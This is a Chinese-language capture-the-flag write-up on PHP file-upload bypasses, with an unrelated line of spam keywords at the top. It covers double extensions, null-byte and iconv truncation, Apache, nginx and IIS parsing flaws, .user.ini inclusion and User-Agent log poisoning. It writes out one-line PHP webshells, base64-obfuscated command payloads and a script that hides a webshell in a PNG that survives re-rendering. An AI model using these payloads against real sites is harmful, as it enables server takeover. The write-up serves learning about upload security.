长沙网站设计培训学校,ppt自动生成器免费,wordpress边栏代码,微信软件目录 1 php的文件上传绕过 黑名单绕过
2 php文件上传的00截断
3 iconv字符转换异常后造成了字符截断
4 文件后缀是白名单的时候的绕过 web服务器的解析漏洞绕过
5.高级文件上传绕过 1 .htaccess nginx.htaccess
2 服务端内容检测
3 配合伪协议来绕过
4.配合日志包含绕…目录 1 php的文件上传绕过 黑名单绕过
2 php文件上传的00截断
3 iconv字符转换异常后造成了字符截断
4 文件后缀是白名单的时候的绕过 web服务器的解析漏洞绕过
5.高级文件上传绕过 1 .htaccess nginx.htaccess
2 服务端内容检测
3 配合伪协议来绕过
4.配合日志包含绕过 5 上传html来xss 执行跨站脚本
6 getimagesize函数绕过
7 png二次渲染绕过
8 jpg二次渲染绕过
9 phar文件上传绕过 1 php的文件上传绕过 黑名单绕过
后缀替换为空时我们通过提交 1.pphphp 替换php为空后得到1.php 成功写入木马
php3 php5 phps phtml
php后缀替换为txt时我们无法双写绕过1.pphphp 1.ptxthp
例题1:web42 先随便上传一个马子
发现php后缀被替换为空 尝试双写绕过 访问/upload/yjh.php
成功写入下略 2 php文件上传的00截断 hello world hello空格world\n\00 123.php 明显不让直接上传 123.php%00.jpg 那么后台判断的时候取最后一个点后面的字符作为后缀 jpg 看起来是合法的文件名称 ./upload/123.php%00.jpg - ./upload/123.php 00字符截断需要的版本 php版本小于5.3.4 而最新的php版本已经达到8.1 java版本小于7u40,而最新的java版本已经达到20以上 3 iconv字符转换异常后造成了字符截断
php在文件上传场景下的文件名字符集转换时可能出现截断问题
utf-8字符集 默认的字符编码范围的是0x00-0x7f
iconv转换的字符不在上面这个范围之内低版本的php会报异常报了异常以后后续字符不再处理
就会造成截断问题 123.php%df.jpg 123.php php版本低于5.4才可以使用 4 文件后缀是白名单的时候的绕过 白名单只准上传这几个后缀 因为匹配的内容少 所以限制的范围就大 黑名单不准上传这几个后缀 因为匹配的内容多 所以限制的范围就小 仅限于自己制定的几个除了这几个其他都行 web服务器的解析漏洞绕过 apache a 多后缀解析漏洞 当我们上传apache不认识的后缀时apahce会继续往前找后缀找到认识的就解析执行 123.txt.ctfshow 123.txt 文本文档形式解析 123.php.ctfshow 123.php 就交给中间件处理php脚本 b ImageMagic组件白名单绕过 目标主机安装了这个漏洞版本的ImageMagic插件 3.3.0 在php.ini中启用了这个插件 通过了php new Imageick 对象的方式来处理图片时 且 php版本大于 5.4时 才可以使用上传特定的svg图片来实现组件的缺陷导致任意代码执行 nginx 基于错误的nginx配置 和 php-fpm配置当我们访问 123.txt/123.php cgi.fix_pathinfo 默认开启 123.txt/123.php 当123.php不存在时会找/前面的文件进行php解析这时候就成功解析了123.txt为php脚本了 iis Windows下使用 iis6.0版本中如果解析的目录名字为 xxx.asp 那么里面的所有文件都会按照asp来解析 123.txt WindowsXP Windows Server 2003 例题2web43
随便上传一个文件 后缀白名单txt
抓个包看下响应头发现是nginx
这里利用nginx解析漏洞
先上传一个yjh3.txt
内容?php eval($_POST[cmd]);?
上传成功访问/upload/yjh3.txt/suibian.php
成功访问
post传cmdsystem(tac /f*); 5.高级文件上传绕过 1 .htaccess nginx.htaccess php.ini 虚拟主机时代 一个物理服务器里面可能存放几十上百个网站 每个网站一个目录 A 网站 需要这样的php.ini配置 B 网站 却需要那样的php.ini配置 C 网站 又需要另外的php.ini配置 总的php.ini不动A B C 3个网站分别在自己目录定义自己的配置作用域也仅限于自己目录 自定义配置文件 .htaccess nginx.htaccess 在nginx 下默认使用.user.ini 配置文件来进行php的配置 使用 auto_append_file123.txt 来让任意的php文件包含123.txt执行里面的php代码
例题3web44
抓包发现是nginx考虑用.user.ini .user.ini
GIF89a auto_prepend_fileyjh3.txt yjh3.txt
?php eval($_POST[cmd]);? 最后在index.php中post:cmdsystem(tac /f*);
略
(本质是文件上传配合文件包含实现rce的效果) 2 服务端内容检测
不局限检测文件名还会检测文件的后缀 文件的内容
?php system eval $_POST
二分法确定出被检测的关键字使用替代语法绕过 例题4:web45
在上一题基础上还加了个文件内容检测
随便上传一个txt文件回显内容非法 二分法多试几次修改成?eval($_COOKIE[1]);
因为cookie中如;的一些特殊字符不能出现
所以最终payload:
1eval(base64_decode(c3lzdGVtKCd0YWMgL2YqJyk7))? 3 配合伪协议来绕过 例题5web46
这题真是惊掉下巴了还有这种姿势hhh
.user.ini内容 抓包传post 真乃神技也 4.配合日志包含绕过
例题6web47
同格局打开 直接UA写马
?php system(tac /f*);? 5 上传html来xss 执行跨站脚本
这个之后展开来讲先按下不表 6 getimagesize函数绕过 getimagesize函数来检测是不是图片而不采取其他措施的情况下如果一旦绕过getimagesize函数就可以实现任意文件上传 XBM 格式图片 #define %s %d 这种形式就认为时XBM图片的高或者宽 例题7web48
这题用web47的payload也可以通杀因为自己有加GIF89a的好习惯
当然也可以这样写.user.ini 注意如果是apache的.htaccess
则不能直接加GIF89a否则不能解析此时必须要#define来绕过 7 png二次渲染绕过
正常做法move_uploaded_file 方式移动我们上传的临时文件到上传目录去
二次渲染做法通过imagepng方法来来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉
所以我们需要使用特殊的方式来构造我们的图片
贴一段生成脚本
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,2.png); //要修改的图片的路径
/* 木马内容
?$_GET[0]($_POST[1]);?*/? 生成图片再提交发现存在一个文件包含那得了直接rce
浏览器返回的数据是图片形式的所以要bp抓包看原始数据 拿到flag 8 jpg二次渲染绕过 使用专用图来生成jpg木马实现经过二次渲染后我们的恶意代码依然能够保留在图片中通过文件包含执行里面的php代码 9 phar文件上传绕过 之前文章有总结过不多说